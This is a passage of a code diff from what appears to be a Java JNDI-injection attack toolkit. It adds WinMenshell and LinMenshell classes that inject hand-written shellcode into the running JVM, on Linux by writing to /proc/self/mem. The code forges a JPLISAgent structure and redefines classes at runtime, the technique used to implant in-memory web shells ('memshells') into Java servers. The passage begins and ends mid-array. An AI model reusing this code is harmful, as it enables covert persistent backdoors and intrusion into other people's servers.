(byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x48, (byte) 0xB9, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x73, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4C, (byte) 0x89, (byte) 0xF9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x18, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0xBA, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x89, (byte) 0xC8, (byte) 0x49, (byte) 0x83, (byte) 0xC0, (byte) 0x08, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x8B, (byte) 0x09, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x54, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x4C, (byte) 0x8B, (byte) 0x39, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x20, (byte) 0x49, (byte) 0x89, (byte) 0xCE, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x48, (byte) 0xBA, (byte) 0x48, (byte) 0x47, (byte) 0x46, (byte) 0x45, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x41, (byte) 0xB8, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x20, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x78, (byte) 0xC3}; + byte[] stub = new byte[]{0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41}; + if (pointerLength == 4) { + buf = new byte[]{(byte) 0x90, (byte) 0x90, (byte) 0x90, (byte) 0x33, (byte) 0xC9, (byte) 0x64, (byte) 0xA1, (byte) 0x30, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8B, (byte) 0x40, (byte) 0x0C, (byte) 0x8B, (byte) 0x70, (byte) 0x14, (byte) 0xAD, (byte) 0x96, (byte) 0xAD, (byte) 0x8B, (byte) 0x58, (byte) 0x10, (byte) 0x8B, (byte) 0x53, (byte) 0x3C, (byte) 0x03, (byte) 0xD3, (byte) 0x8B, (byte) 0x52, (byte) 0x78, (byte) 0x03, (byte) 0xD3, (byte) 0x33, (byte) 0xC9, (byte) 0x8B, (byte) 0x72, (byte) 0x20, (byte) 0x03, (byte) 0xF3, (byte) 0x41, (byte) 0xAD, (byte) 0x03, (byte) 0xC3, (byte) 0x81, (byte) 0x38, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x75, (byte) 0xF4, (byte) 0x81, (byte) 0x78, (byte) 0x04, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x75, (byte) 0xEB, (byte) 0x81, (byte) 0x78, (byte) 0x08, (byte) 0x64, (byte) 0x64, (byte) 0x72, (byte) 0x65, (byte) 0x75, (byte) 0xE2, (byte) 0x8B, (byte) 0x72, (byte) 0x24, (byte) 0x03, (byte) 0xF3, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x49, (byte) 0x8B, (byte) 0x72, (byte) 0x1C, (byte) 0x03, (byte) 0xF3, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x03, (byte) 0xD3, (byte) 0x52, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x68, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x68, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x68, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x59, (byte) 0x50, (byte) 0x66, (byte) 0xB9, (byte) 0x33, (byte) 0x32, (byte) 0x51, (byte) 0x68, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x54, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xD8, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x5A, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x6A, (byte) 0x73, (byte) 0x68, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x68, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x68, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x68, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x68, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x89, (byte) 0x45, (byte) 0xF0, (byte) 0x54, (byte) 0x6A, (byte) 0x01, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x54, (byte) 0x59, (byte) 0x6A, (byte) 0x01, (byte) 0x51, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xC1, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0x6A, (byte) 0x00, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x8B, (byte) 0x00, (byte) 0x50, (byte) 0x8B, (byte) 0x18, (byte) 0x8B, (byte) 0x43, (byte) 0x10, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0x43, (byte) 0x18, (byte) 0x68, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x68, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x83, (byte) 0xEC, (byte) 0x04, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xEC, (byte) 0x0C, (byte) 0x8B, (byte) 0x43, (byte) 0x14, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xC4, (byte) 0x5C, (byte) 0xC3}; + stub = new byte[]{0x44, 0x43, 0x42, 0x41}; + } + buf = replaceBytes(buf, stub, long2ByteArray_Little_Endian(JPLISAgent + pointerLength, pointerLength)); + classBody[7] = 0x32; + + Class windowsVirtualMachine; + System.loadLibrary("attach"); + try { + windowsVirtualMachine = Class.forName("sun.tools.attach.WindowsVirtualMachine"); + } catch (ClassNotFoundException e) { + byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 51, 0, 21, 10, 0, 3, 0, 17, 7, 0, 18, 7, 0, 19, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 40, 76, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 97, 116, 116, 97, 99, 104, 47, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 59, 1, 0, 7, 101, 110, 113, 117, 101, 117, 101, 1, 0, 61, 40, 74, 91, 66, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 7, 0, 20, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 26, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 38, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 97, 116, 116, 97, 99, 104, 47, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 0, 33, 0, 2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 51, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 7, 0, 0, 0, 10, 0, 2, 0, 0, 0, 7, 0, 4, 0, 8, 0, 8, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 9, 0, 10, 0, 0, 1, -120, 0, 11, 0, 12, 0, 1, 0, 13, 0, 0, 0, 4, 0, 1, 0, 14, 0, 1, 0, 15, 0, 0, 0, 2, 0, 16}; + ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + windowsVirtualMachine = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); + } + + Method method = windowsVirtualMachine.getDeclaredMethod("enqueue", long.class, byte[].class, String.class, String.class, Object[].class); + method.setAccessible(true); + method.invoke(null, -1, buf, "enqueue", "enqueue", null); + + long native_jvmtienv = unsafe.getLong(JPLISAgent + pointerLength); + if (pointerLength == 4) { + unsafe.putByte(native_jvmtienv + 201, (byte) 2); + } else { + unsafe.putByte(native_jvmtienv + 361, (byte) 2); + } + + redefineClasses(className, classBody, JPLISAgent); + } + + /** + * long 转字节数组,小端 + */ + public static byte[] long2ByteArray_Little_Endian(long l, int length) { + byte[] array = new byte[length]; + for (int i = 0; i < array.length; i++) { + array[i] = (byte) (l >> (i * 8)); + } + return array; + } + + private static byte[] replaceBytes(byte[] bytes, byte[] byteSource, byte[] byteTarget) { + for (int i = 0; i < bytes.length; i++) { + boolean bl = true;//从当前下标开始的字节是否与欲替换字节相等; + for (int j = 0; j < byteSource.length; j++) { + if (i + j < bytes.length && bytes[i + j] == byteSource[j]) { + } else { + bl = false; + } + } + if (bl) { + System.arraycopy(byteTarget, 0, bytes, i, byteTarget.length); + } + } + return bytes; + } + + public static void redefineClasses(String className, byte[] classBody, long JPLISAgent) { + try { + Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); + Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); + constructor.setAccessible(true); + Object inst = constructor.newInstance(JPLISAgent, true, false); + + ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody); + Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class); + redefineClazz.invoke(inst, new Object[]{new ClassDefinition[]{definition}}); + } catch (Throwable error) { + error.printStackTrace(); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/template/Agent/LinMenshell.java b/src/main/java/com/qi4l/jndi/template/Agent/LinMenshell.java new file mode 100644 index 00000000..5ceee0b8 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/Agent/LinMenshell.java @@ -0,0 +1,240 @@ +package com.qi4l.jndi.template.Agent; + +import sun.misc.Unsafe; +import java.io.BufferedReader; +import java.io.FileReader; +import java.io.IOException; +import java.io.RandomAccessFile; +import java.lang.instrument.ClassDefinition; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; +import java.nio.ByteBuffer; +import java.nio.ByteOrder; + +public class LinMenshell { + + public static String className; + public static byte[] classBody; + + private LinMenshell() throws Exception { + + Class cls=Class.forName("sun.tools.attach.HotSpotVirtualMachine"); + Field field1=cls.getDeclaredField("ALLOW_ATTACH_SELF"); + field1.setAccessible(true); + Field modifiersField=Field.class.getDeclaredField("modifiers"); + modifiersField.setInt(field1,field1.getModifiers()&~Modifier.FINAL); + field1.setBoolean(null,true); + + FileReader fin = new FileReader("/proc/self/maps"); + BufferedReader reader = new BufferedReader(fin); + String line; + long RandomAccessFile_length = 0, JNI_GetCreatedJavaVMs = 0; + while ((line = reader.readLine()) != null) + { + String[] splits = line.trim().split(" "); + if(line.endsWith("libjava.so") && RandomAccessFile_length == 0) { + String[] addr_range = splits[0].split("-"); + long libbase = Long.parseLong(addr_range[0], 16); + String elfpath = splits[splits.length - 1]; + RandomAccessFile_length = find_symbol(elfpath, "Java_java_io_RandomAccessFile_length", libbase); + }else if(line.endsWith("libjvm.so") && JNI_GetCreatedJavaVMs == 0) { + String[] addr_range = splits[0].split("-"); + long libbase = Long.parseLong(addr_range[0], 16); + String elfpath = splits[splits.length - 1]; + JNI_GetCreatedJavaVMs = find_symbol(elfpath, "JNI_GetCreatedJavaVMs", libbase); + } + + if(JNI_GetCreatedJavaVMs != 0 && RandomAccessFile_length != 0) + break; + } + fin.close(); + + //修改Java_java_io_RandomAccessFile_open0的native代码,调用JNI_GetCreatedJavaVMs获取JavaVM,再通过JavaVM获取jvmtienv + RandomAccessFile fout = new RandomAccessFile("/proc/self/mem", "rw"); + //RSP 16字节对齐 + byte[] stack_align = {0x55, 0x48, (byte)0x89, (byte)0xe5, 0x48, (byte)0xc7, (byte)0xc0, 0xf, 0, 0, 0, 0x48, (byte)0xf7, (byte)0xd0}; + + byte[] movabs_rax = {0x48, (byte) 0xb8}; + ByteBuffer buffer = ByteBuffer.allocate(Long.BYTES); + buffer.order(ByteOrder.LITTLE_ENDIAN); + buffer.putLong(0, JNI_GetCreatedJavaVMs); + + byte[] b = {0x48, (byte) 0x83, (byte) 0xEC, 0x40, 0x48, 0x31, (byte) 0xF6, 0x48, (byte) 0xFF, (byte) 0xC6, 0x48, (byte) 0x8D, 0x54, 0x24, 0x04, 0x48, + (byte) 0x8D, 0x7C, 0x24, 0x08, (byte) 0xFF, (byte) 0xD0, 0x48, (byte) 0x8B, 0x7C, 0x24, 0x08, 0x48, (byte) 0x8D, 0x74, 0x24, 0x10, + (byte) 0xBA, 0x00, 0x02, 0x01, 0x30, 0x48, (byte) 0x8B, 0x07, (byte) 0xFF, 0x50, 0x30, 0x48, (byte) 0x8B, 0x44, 0x24, 0x10, + 0x48, (byte) 0x83, (byte) 0xC4, 0x40, (byte)0xC9, (byte) 0xC3 }; + + int shellcode_len = b.length + 8 + movabs_rax.length + stack_align.length; + long landingpad = RandomAccessFile_length; + + byte[] backup = new byte[shellcode_len]; + fout.seek(landingpad); + fout.read(backup); + + + + fout.seek(landingpad); + fout.write(stack_align); + fout.write(movabs_rax); + fout.write(buffer.array()); + fout.write(b); + fout.close(); + + + + long native_jvmtienv = fout.length(); //触发执行 + System.out.printf("native_jvmtienv %x\n", native_jvmtienv); + + //恢复代码 + fout = new RandomAccessFile("/proc/self/mem", "rw"); + fout.seek(RandomAccessFile_length); + fout.write(backup); + fout.close(); + + Unsafe unsafe = null; + try { + Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); + field.setAccessible(true); + unsafe = (sun.misc.Unsafe) field.get(null); + } catch (Exception e) { + throw new AssertionError(e); + } + //libjvm.so的jvmti_RedefineClasses函数会校验if ( (*((_BYTE *)jvmtienv + 361) & 2) != 0 ) + unsafe.putByte(native_jvmtienv + 361, (byte) 2); + //伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用 + long JPLISAgent = unsafe.allocateMemory(0x1000); + unsafe.putLong(JPLISAgent + 8, native_jvmtienv); + //利用伪造的JPLISAgent结构实例化InstrumentationImpl + try { + Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); + Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); + constructor.setAccessible(true); + Object inst = constructor.newInstance(JPLISAgent, true, false); + + + ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody); + Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class); + redefineClazz.invoke(inst, new Object[] { + new ClassDefinition[] { + definition + } + }); + }catch(Exception e) { + e.printStackTrace(); + } + fout.getFD(); + + } + private static final int SHT_DYNSYM = 11; + private static final int STT_FUNC =2; + private static final int STT_GNU_IFUNC =10; + + private static int ELF_ST_TYPE(int x) { + return (x & 0xf); + } + + static long find_symbol(String elfpath, String sym, long libbase) throws IOException { + long func_ptr = 0; + RandomAccessFile fin = new RandomAccessFile(elfpath, "r"); + + byte[] e_ident = new byte[16]; + fin.read(e_ident); + short e_type = Short.reverseBytes(fin.readShort()); + short e_machine = Short.reverseBytes(fin.readShort()); + int e_version = Integer.reverseBytes(fin.readInt()); + long e_entry = Long.reverseBytes(fin.readLong()); + long e_phoff = Long.reverseBytes(fin.readLong()); + long e_shoff = Long.reverseBytes(fin.readLong()); + int e_flags = Integer.reverseBytes(fin.readInt()); + short e_ehsize = Short.reverseBytes(fin.readShort()); + short e_phentsize = Short.reverseBytes(fin.readShort()); + short e_phnum = Short.reverseBytes(fin.readShort()); + short e_shentsize = Short.reverseBytes(fin.readShort()); + short e_shnum = Short.reverseBytes(fin.readShort()); + short e_shstrndx = Short.reverseBytes(fin.readShort()); + + int sh_name = 0; + int sh_type = 0; + long sh_flags = 0; + long sh_addr = 0; + long sh_offset = 0; + long sh_size = 0; + int sh_link = 0; + int sh_info = 0; + long sh_addralign = 0; + long sh_entsize = 0; + + for(int i = 0; i < e_shnum; ++i) { + fin.seek(e_shoff + i*64); + sh_name = Integer.reverseBytes(fin.readInt()); + sh_type = Integer.reverseBytes(fin.readInt()); + sh_flags = Long.reverseBytes(fin.readLong()); + sh_addr = Long.reverseBytes(fin.readLong()); + sh_offset = Long.reverseBytes(fin.readLong()); + sh_size = Long.reverseBytes(fin.readLong()); + sh_link = Integer.reverseBytes(fin.readInt()); + sh_info = Integer.reverseBytes(fin.readInt()); + sh_addralign = Long.reverseBytes(fin.readLong()); + sh_entsize = Long.reverseBytes(fin.readLong()); + if(sh_type == SHT_DYNSYM) { + break; + } + } + + int symtab_shdr_sh_link = sh_link; + long symtab_shdr_sh_size = sh_size; + long symtab_shdr_sh_entsize = sh_entsize; + long symtab_shdr_sh_offset = sh_offset; + + fin.seek(e_shoff + symtab_shdr_sh_link * e_shentsize); + sh_name = Integer.reverseBytes(fin.readInt()); + sh_type = Integer.reverseBytes(fin.readInt()); + sh_flags = Long.reverseBytes(fin.readLong()); + sh_addr = Long.reverseBytes(fin.readLong()); + sh_offset = Long.reverseBytes(fin.readLong()); + sh_size = Long.reverseBytes(fin.readLong()); + sh_link = Integer.reverseBytes(fin.readInt()); + sh_info = Integer.reverseBytes(fin.readInt()); + sh_addralign = Long.reverseBytes(fin.readLong()); + sh_entsize = Long.reverseBytes(fin.readLong()); + + long symstr_shdr_sh_offset = sh_offset; + + long cnt = symtab_shdr_sh_entsize > 0 ? symtab_shdr_sh_size/symtab_shdr_sh_entsize : 0; + for(long i = 0; i < cnt; ++i) { + fin.seek(symtab_shdr_sh_offset + symtab_shdr_sh_entsize*i); + int st_name = Integer.reverseBytes(fin.readInt()); + byte st_info = fin.readByte(); + byte st_other = fin.readByte(); + short st_shndx = Short.reverseBytes(fin.readShort()); + long st_value = Long.reverseBytes(fin.readLong()); + long st_size = Long.reverseBytes(fin.readLong()); + if(st_value == 0 + || st_name == 0 + || (ELF_ST_TYPE(st_info) != STT_FUNC && ELF_ST_TYPE(st_info) != STT_GNU_IFUNC)) + { + continue; + } + + fin.seek(symstr_shdr_sh_offset + st_name); + String name = ""; + byte ch = 0; + while((ch = fin.readByte()) != 0) + { + name += (char)ch; + } + + if(sym.equals(name)) + { + func_ptr = libbase + st_value; + break; + } + } + + fin.close(); + + return func_ptr; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/Agent/WinMenshell.java b/src/main/java/com/qi4l/jndi/template/Agent/WinMenshell.java new file mode 100644 index 00000000..f7bb1757 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/Agent/WinMenshell.java @@ -0,0 +1,122 @@ +package com.qi4l.jndi.template.Agent; + +import java.io.IOException; +import sun.misc.Unsafe; + +import java.lang.instrument.ClassDefinition; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; + +public class WinMenshell { + public static int pointerLength=8; + public static String className; + public static byte[] classBody; + static native void enqueue(long hProcess, byte[] stub, + String cmd, String pipename, Object... args) throws IOException; + + + public WinMenshell() throws Exception { + + Class cls=Class.forName("sun.tools.attach.HotSpotVirtualMachine"); + Field field1=cls.getDeclaredField("ALLOW_ATTACH_SELF"); + field1.setAccessible(true); + Field modifiersField=Field.class.getDeclaredField("modifiers"); + modifiersField.setInt(field1,field1.getModifiers()&~Modifier.FINAL); + field1.setBoolean(null,true); + + Unsafe unsafe = null; + try { + Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); + field.setAccessible(true); + unsafe = (sun.misc.Unsafe) field.get(null); + } catch (Exception e) { + throw new AssertionError(e); + } + //伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用 + long JPLISAgent = unsafe.allocateMemory(0x1000); + + byte[] buf=new byte[]{(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x48,(byte)0x83,(byte)0xE4,(byte)0xF0,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x65,(byte)0x48,(byte)0x8B,(byte)0x41,(byte)0x60,(byte)0x48,(byte)0x8B,(byte)0x40,(byte)0x18,(byte)0x48,(byte)0x8B,(byte)0x70,(byte)0x20,(byte)0x48,(byte)0xAD,(byte)0x48,(byte)0x96,(byte)0x48,(byte)0xAD,(byte)0x48,(byte)0x8B,(byte)0x58,(byte)0x20,(byte)0x4D,(byte)0x31,(byte)0xC0,(byte)0x44,(byte)0x8B,(byte)0x43,(byte)0x3C,(byte)0x4C,(byte)0x89,(byte)0xC2,(byte)0x48,(byte)0x01,(byte)0xDA,(byte)0x44,(byte)0x8B,(byte)0x82,(byte)0x88,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x49,(byte)0x01,(byte)0xD8,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x20,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x49,(byte)0xB9,(byte)0x47,(byte)0x65,(byte)0x74,(byte)0x50,(byte)0x72,(byte)0x6F,(byte)0x63,(byte)0x41,(byte)0x48,(byte)0xFF,(byte)0xC1,(byte)0x48,(byte)0x31,(byte)0xC0,(byte)0x8B,(byte)0x04,(byte)0x8E,(byte)0x48,(byte)0x01,(byte)0xD8,(byte)0x4C,(byte)0x39,(byte)0x08,(byte)0x75,(byte)0xEF,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x24,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x66,(byte)0x8B,(byte)0x0C,(byte)0x4E,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x1C,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x48,(byte)0x31,(byte)0xD2,(byte)0x8B,(byte)0x14,(byte)0x8E,(byte)0x48,(byte)0x01,(byte)0xDA,(byte)0x48,(byte)0x89,(byte)0xD7,(byte)0xB9,(byte)0x61,(byte)0x72,(byte)0x79,(byte)0x41,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x4C,(byte)0x6F,(byte)0x61,(byte)0x64,(byte)0x4C,(byte)0x69,(byte)0x62,(byte)0x72,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x48,(byte)0x89,(byte)0xD9,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x30,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x10,(byte)0x48,(byte)0x89,(byte)0xC6,(byte)0xB9,(byte)0x6C,(byte)0x6C,(byte)0x00,(byte)0x00,(byte)0x51,(byte)0xB9,(byte)0x6A,(byte)0x76,(byte)0x6D,(byte)0x00,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE1,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x30,(byte)0xFF,(byte)0xD6,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x10,(byte)0x49,(byte)0x89,(byte)0xC7,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x48,(byte)0xB9,(byte)0x76,(byte)0x61,(byte)0x56,(byte)0x4D,(byte)0x73,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x72,(byte)0x65,(byte)0x61,(byte)0x74,(byte)0x65,(byte)0x64,(byte)0x4A,(byte)0x61,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x4A,(byte)0x4E,(byte)0x49,(byte)0x5F,(byte)0x47,(byte)0x65,(byte)0x74,(byte)0x43,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x4C,(byte)0x89,(byte)0xF9,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x28,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x18,(byte)0x49,(byte)0x89,(byte)0xC7,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x48,(byte)0x89,(byte)0xE1,(byte)0xBA,(byte)0x01,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x49,(byte)0x89,(byte)0xC8,(byte)0x49,(byte)0x83,(byte)0xC0,(byte)0x08,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x28,(byte)0x48,(byte)0x8B,(byte)0x09,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x20,(byte)0x54,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x4D,(byte)0x31,(byte)0xC0,(byte)0x4C,(byte)0x8B,(byte)0x39,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x20,(byte)0x49,(byte)0x89,(byte)0xCE,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x4C,(byte)0x89,(byte)0xF1,(byte)0x48,(byte)0xBA,(byte)0x48,(byte)0x47,(byte)0x46,(byte)0x45,(byte)0x44,(byte)0x43,(byte)0x42,(byte)0x41,(byte)0x41,(byte)0xB8,(byte)0x00,(byte)0x02,(byte)0x01,(byte)0x30,(byte)0x4D,(byte)0x8B,(byte)0x3E,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x20,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x20,(byte)0x4C,(byte)0x89,(byte)0xF1,(byte)0x4D,(byte)0x8B,(byte)0x3E,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x28,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x78,(byte)0xC3}; + byte[] stub=new byte[]{0x48,0x47,0x46,0x45,0x44,0x43,0x42,0x41}; + if (pointerLength==4) { + buf = new byte[]{(byte) 0x90, (byte) 0x90, (byte) 0x90, (byte) 0x33, (byte) 0xC9, 